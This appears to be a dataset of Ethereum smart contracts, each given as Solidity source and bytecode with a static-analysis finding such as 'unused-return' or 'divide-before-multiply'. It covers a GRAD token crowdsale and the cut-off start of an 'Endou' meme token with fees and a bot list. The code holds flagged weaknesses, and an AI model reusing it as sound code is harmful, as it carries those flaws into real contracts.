400000905090565b60007f000000000000000000000000f5cfbc74057c610c8ef151a439252680ac68c6dc905090565b6105d18363a9059cbb60e01b848460405160240161056f929190610a37565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105d6565b505050565b6000610638826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661069d9092919063ffffffff16565b90506000815111156106985780806020019051810190610658919061086d565b610697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068e90610b1d565b60405180910390fd5b5b505050565b60606106ac84846000856106b5565b90509392505050565b6060824710156106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190610add565b60405180910390fd5b610703856107c9565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990610afd565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161076b9190610a05565b60006040518083038185875af1925050503d80600081146107a8576040519150601f19603f3d011682016040523d82523d6000602084013e6107ad565b606091505b50915091506107bd8282866107dc565b92505050949350505050565b600080823b905060008111915050919050565b606083156107ec5782905061083c565b6000835111156107ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108339190610a7b565b60405180910390fd5b9392505050565b60008151905061085281610f12565b92915050565b60008151905061086781610f29565b92915050565b60006020828403121561087f57600080fd5b600061088d84828501610843565b91505092915050565b6000602082840312156108a857600080fd5b60006108b684828501610858565b91505092915050565b6108c881610c9f565b82525050565b60006108d982610b58565b6108e38185610b6e565b93506108f3818560208601610d0b565b80840191505092915050565b61090881610ce7565b82525050565b600061091982610b63565b6109238185610b79565b9350610933818560208601610d0b565b61093c81610d9c565b840191505092915050565b6000610954603b83610b79565b915061095f82610dad565b604082019050919050565b6000610977603583610b79565b915061098282610dfc565b604082019050919050565b600061099a602683610b79565b91506109a582610e4b565b604082019050919050565b60006109bd601d83610b79565b91506109c882610e9a565b602082019050919050565b60006109e0602a83610b79565b91506109eb82610ec3565b604082019050919050565b6109ff81610cdd565b82525050565b6000610a1182846108ce565b915081905092915050565b6000602082019050610a3160008301846108bf565b92915050565b6000604082019050610a4c60008301856108bf565b610a5960208301846109f6565b9392505050565b6000602082019050610a7560008301846108ff565b92915050565b60006020820190508181036000830152610a95818461090e565b905092915050565b60006020820190508181036000830152610ab681610947565b9050919050565b60006020820190508181036000830152610ad68161096a565b9050919050565b60006020820190508181036000830152610af68161098d565b9050919050565b60006020820190508181036000830152610b16816109b0565b9050919050565b60006020820190508181036000830152610b36816109d3565b9050919050565b6000602082019050610b5260008301846109f6565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b9582610cdd565b9150610ba083610cdd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610bd557610bd4610d3e565b5b828201905092915050565b6000610beb82610cdd565b9150610bf683610cdd565b925082610c0657610c05610d6d565b5b828204905092915050565b6000610c1c82610cdd565b9150610c2783610cdd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610c6057610c5f610d3e565b5b828202905092915050565b6000610c7682610cdd565b9150610c8183610cdd565b925082821015610c9457610c93610d3e565b5b828203905092915050565b6000610caa82610cbd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610cf282610cf9565b9050919050565b6000610d0482610cbd565b9050919050565b60005b83811015610d29578082015181840152602081019050610d0e565b83811115610d38576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f556e7375706572766973656454696d656c6f636b3a206e6f206d6f726520626560008201527f6e656669742063616e2062652077697468647261776564206e6f770000000000602082015250565b7f556e7375706572766973656454696d656c6f636b3a206465706f73697465642060008201527f62616c616e6365206973206e6f7420656e6f7567680000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610f1b81610cb1565b8114610f2657600080fd5b50565b610f3281610cdd565b8114610f3d57600080fd5b5056fea2646970667358221220d64301bb2e01bd50ccf6f1b3e32ab3dd016930675ceb384fec7a4cb0beb8076064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,290
0x8d8ebbccb9dd1cedc9ad7ac316d590a58921f24b
pragma solidity ^0.4.15; // File: contracts/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/GRAD.sol contract GRAD { using SafeMath for uint256; string public name = "Gadus"; string public symbol = "GRAD"; uint public decimals = 18; uint256 public totalSupply; address owner; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event Approval(address indexed tokenOwner, address indexed spender, uint256 value); event Mint (address indexed to, uint256 amount); event Transfer(address indexed from, address indexed to, uint256 value); // construtor function GRAD() public{ owner = msg.sender; } /** * @dev Mint token to tagret parametred * @param _to address The address which you want to mint to * @param _value uint256 the amout of tokens to be transfered */ function mint(address _to, uint256 _value) onlyOwner public returns (bool){ balances[_to] = balances[_to].add(_value); totalSupply = totalSupply.add(_value); Mint(_to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } modifier onlyOwner() { require(msg.sender == owner); _; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } // File: contracts/Sale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end block, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Sale is Ownable{ using SafeMath for uint256; // The token being sold GRAD public token; // start and end block where investments are allowed (both inclusive) uint256 public startBlock; uint256 public endBlock; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; bool private isSaleActive; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Sale(uint256 _startBlock, uint256 _rate, address _wallet) public { require(_startBlock >= block.number); require(_rate > 0); require(_wallet != 0x0); owner = msg.sender; token = createTokenContract(); startBlock = _startBlock; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (GRAD) { return new GRAD(); } // fallback function can be used to buy tokens function () payable public { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable public { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); uint256 bonus = calclulateBonus(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens.add(bonus)); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens.add(bonus)); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // function calclulateBonus(uint256 _weiAmount) internal pure returns (uint256) { uint256 weiAmount = _weiAmount; // 7% over 10 eth // 5% over 5 eth // 3 over 2.5 eth if (weiAmount >= 1e18 * 10) { return (weiAmount.mul(7)).div(100); } else if (weiAmount >= 1e18 * 5) { return (weiAmount.mul(5)).div(100); } else if (weiAmount >= 1e17 * 25) { return (weiAmount.mul(3)).div(100); } else { return 0; } } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { uint256 current = block.number; bool withinPeriod = current >= startBlock; bool withinSaleRunning = isSaleActive; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase && withinSaleRunning; } //disable if enabled function disableSale() onlyOwner() public returns (bool) { require(isSaleActive == true); isSaleActive = false; return true; } // enable if diabled function enableSale() onlyOwner() public returns (bool) { require(isSaleActive == false); isSaleActive = true; return true; } // retruns true if sale is currently active function saleStatus() public constant returns (bool){ return isSaleActive; } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063083c6323146100c55780630a4740ff146100ee5780632c4e722e1461011b5780634042b66f1461014457806348cd4cb11461016d578063521eb273146101965780638da5cb5b146101eb578063c683d8e414610240578063ec8ac4d81461026d578063f2fde38b1461029b578063f9020e33146102d4578063fc0c546a14610301575b6100c333610356565b005b34156100d057600080fd5b6100d861055b565b6040518082815260200191505060405180910390f35b34156100f957600080fd5b610101610561565b604051808215151515815260200191505060405180910390f35b341561012657600080fd5b61012e610602565b6040518082815260200191505060405180910390f35b341561014f57600080fd5b610157610608565b6040518082815260200191505060405180910390f35b341561017857600080fd5b61018061060e565b6040518082815260200191505060405180910390f35b34156101a157600080fd5b6101a9610614565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101f657600080fd5b6101fe61063a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024b57600080fd5b61025361065f565b604051808215151515815260200191505060405180910390f35b610299600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610356565b005b34156102a657600080fd5b6102d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610700565b005b34156102df57600080fd5b6102e76107d5565b604051808215151515815260200191505060405180910390f35b341561030c57600080fd5b6103146107ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806000808473ffffffffffffffffffffffffffffffffffffffff161415151561038057600080fd5b610388610812565b151561039357600080fd5b3492506103ab6005548461085a90919063ffffffff16565b91506103b68361088d565b90506103cd8360065461095b90919063ffffffff16565b600681905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1985610425848661095b90919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156104b257600080fd5b6102c65a03f115156104c357600080fd5b50505060405180519050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad1885610531858761095b90919063ffffffff16565b604051808381526020018281526020019250505060405180910390a3610555610979565b50505050565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105be57600080fd5b60011515600760009054906101000a900460ff1615151415156105e057600080fd5b6000600760006101000a81548160ff0219169083151502179055506001905090565b60055481565b60065481565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106bc57600080fd5b60001515600760009054906101000a900460ff1615151415156106de57600080fd5b6001600760006101000a81548160ff0219169083151502179055506001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561075b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156107d257806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600760009054906101000a900460ff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060004393506002548410159250600760009054906101000a900460ff169150600034141590508280156108485750805b80156108515750815b94505050505090565b6000808284029050600084148061087b575082848281151561087857fe5b04145b151561088357fe5b8091505092915050565b600080829050678ac7230489e80000811015156108d2576108cb60646108bd60078461085a90919063ffffffff16565b6109dd90919063ffffffff16565b9150610955565b674563918244f40000811015156109115761090a60646108fc60058461085a90919063ffffffff16565b6109dd90919063ffffffff16565b9150610955565b6722b1c8c1227a00008110151561095057610949606461093b60038461085a90919063ffffffff16565b6109dd90919063ffffffff16565b9150610955565b600091505b50919050565b600080828401905083811015151561096f57fe5b8091505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156109db57600080fd5b565b60008082848115156109eb57fe5b0490508091505092915050565b6000610a02610a1d565b604051809103906000f0801515610a1857600080fd5b905090565b604051610fb080610a2e83390190560060606040526040805190810160405280600581526020017f47616475730000000000000000000000000000000000000000000000000000008152506000908051906020019061004f9291906100f2565b506040805190810160405280600481526020017f47524144000000000000000000000000000000000000000000000000000000008152506001908051906020019061009b9291906100f2565b50601260025534156100ac57600080fd5b33600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610197565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061013357805160ff1916838001178555610161565b82800160010185558215610161579182015b82811115610160578251825591602001919060010190610145565b5b50905061016e9190610172565b5090565b61019491905b80821115610190576000816000905550600101610178565b5090565b90565b610e0a806101a66000396000f3006060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806340c10f191461025c57806370a08231146102b657806395d89b4114610303578063a9059cbb14610391578063dd62ed3e146103eb575b600080fd5b34156100b457600080fd5b6100bc610457565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104f5565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a461067c565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610682565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b610246610932565b6040518082815260200191505060405180910390f35b341561026757600080fd5b61029c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610938565b604051808215151515815260200191505060405180910390f35b34156102c157600080fd5b6102ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a9e565b6040518082815260200191505060405180910390f35b341561030e57600080fd5b610316610ae7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035657808201518184015260208101905061033b565b50505050905090810190601f1680156103835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039c57600080fd5b6103d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b85565b604051808215151515815260200191505060405180910390f35b34156103f657600080fd5b610441600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d20565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ed5780601f106104c2576101008083540402835291602001916104ed565b820191906000526020600020905b8154815290600101906020018083116104d057829003601f168201915b505050505081565b60008082148061058157506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561058c57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b600080600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061075683600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da790919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107eb83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc590919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108418382610dc590919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60025481565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099657600080fd5b6109e882600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4082600354610da790919063ffffffff16565b6003819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b7d5780601f10610b5257610100808354040283529160200191610b7d565b820191906000526020600020905b815481529060010190602001808311610b6057829003601f168201915b505050505081565b6000610bd982600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc590919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c6e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515610dbb57fe5b8091505092915050565b6000828211151515610dd357fe5b8183039050929150505600a165627a7a72305820822d6c9540a75303d7622213a238d07e36c4cb12241e2614d331332888a8ab150029a165627a7a723058205fd395dc0fbb9359f8c7289f45ecf28b724e75cdc42288fa921260af37fc94720029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,291
0xc1579a1c5050eceabec56a460db48da65b74c6e9
/** $ENDOU Telegram: https://t.me/endouerc20 Website: https://endoumamoru.com/ ,, ┌█████▌, ▐███████████▓▄▄, ,,╥═ ████████▓╣╢╣╢▓▓▓▓▓███ "▀█▓▓▓▓█████▓▓▓▓▓▓▓╣╣╢╣▓██ ▓▓╣╣▓▓████▓▓▓▓╢╢▓▓▓▓██▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▌ . ¿ \ ┌─`╕ ▐╣▓▓▓▓█@ `╩▀▓██▓ ███▀ ─░, ╠▄▒▓╜ ╓" ▓▌▀╘██ , ╙▀┌w ██▓▒├ ╒` .╓╢▓▒▒▒▀ ║ ╣█ ∩ ─ ░═`2 j█▌░² └╚Φ╣╫▒▒▓▒" █▌ ^▄▄▄▓▀▀▀▀ ▓▌ ╙g╙╨╜╜╨` ,╬, ▓▀─ ^,` ┌" =" ╣w ▄▓███▌▓ ` ``▄▄HHÑ▓▓▄ ╣▀▀██▀▀▒▒▒K , ╓▓▀▒▓██▓▓▓▓████&æ, '╬@▒▒▒▒▒▒▒▐&▄▓▓▀▒▒▓▓▓██▓▒╣▓████▒▒▒▀██ ▓▓▒▒▒▒▒▓▓╬▒▒▒▒▒▓████▒▓▓█████▄▒╫▒▓█▓▄ '╬▄▒▒▄╬Ñ╩╜"` ▓█████████╫Ö███▓▒▒▒▀██w ██████████╨" ╙Ç╩▒▒▒▀██▄ ╒████████`▄▄ ███▌▓▓▒▀██▄ ╓████████^████ ▐██▌▒▒▒▒▓█▒█ ▄████████ ╟ ╙╙╜""╥██▄▒▒▒▓█▀▓█ ███████▀╖ `╓╣╝,╓▄███████▓██▀ ████████▌, ` █████████▄▄█▓ ██████████▄ ▀████████▓▓▓ ▐████████████╬▒╓ ▀███▀ ██████████████▄▄████ ]█████████████████████ ]█████████████████████▄ ]██████████████████████╕ ╣░░▀▀░░░Ü ╚▀▀▀▀▀▀░░r τ`╙╜╜▒▒ '▒╙╙╜╜╜╜ " ┼ ', L " , ç═=" \ Ü,,,` ╟ ╨─=──ⁿ╖ ╖ ╘ [ ▄▄▄▓█ ▓▄▄▄▄▌ Ü`` ``╙ r [ ╓&▓▄╥@ w ], ║ ╓▄██▄▄╔╥▒▀▓█▓███████` ]██▓▓▓▓▓▓ ╓███████████████@█████ █▀██▌▄▓▄█▄▄╖ ╙███████████████████▀ █▓███████████▄ "▀█████▀▀▀╙ ╙████████████` ╙▀▀█▀▀▀▀▀ Tax: 12% Max Buy : 1% (10,000,000) Max Wallet : 2.5% (25,000,000) Total supply: 1,000,000,000 $ENDOU */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EndouContract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Endou Mamoru"; string private constant _symbol = "ENDOU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xf8113A4c45314333908F5fe7EcB72c3aEC934625); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 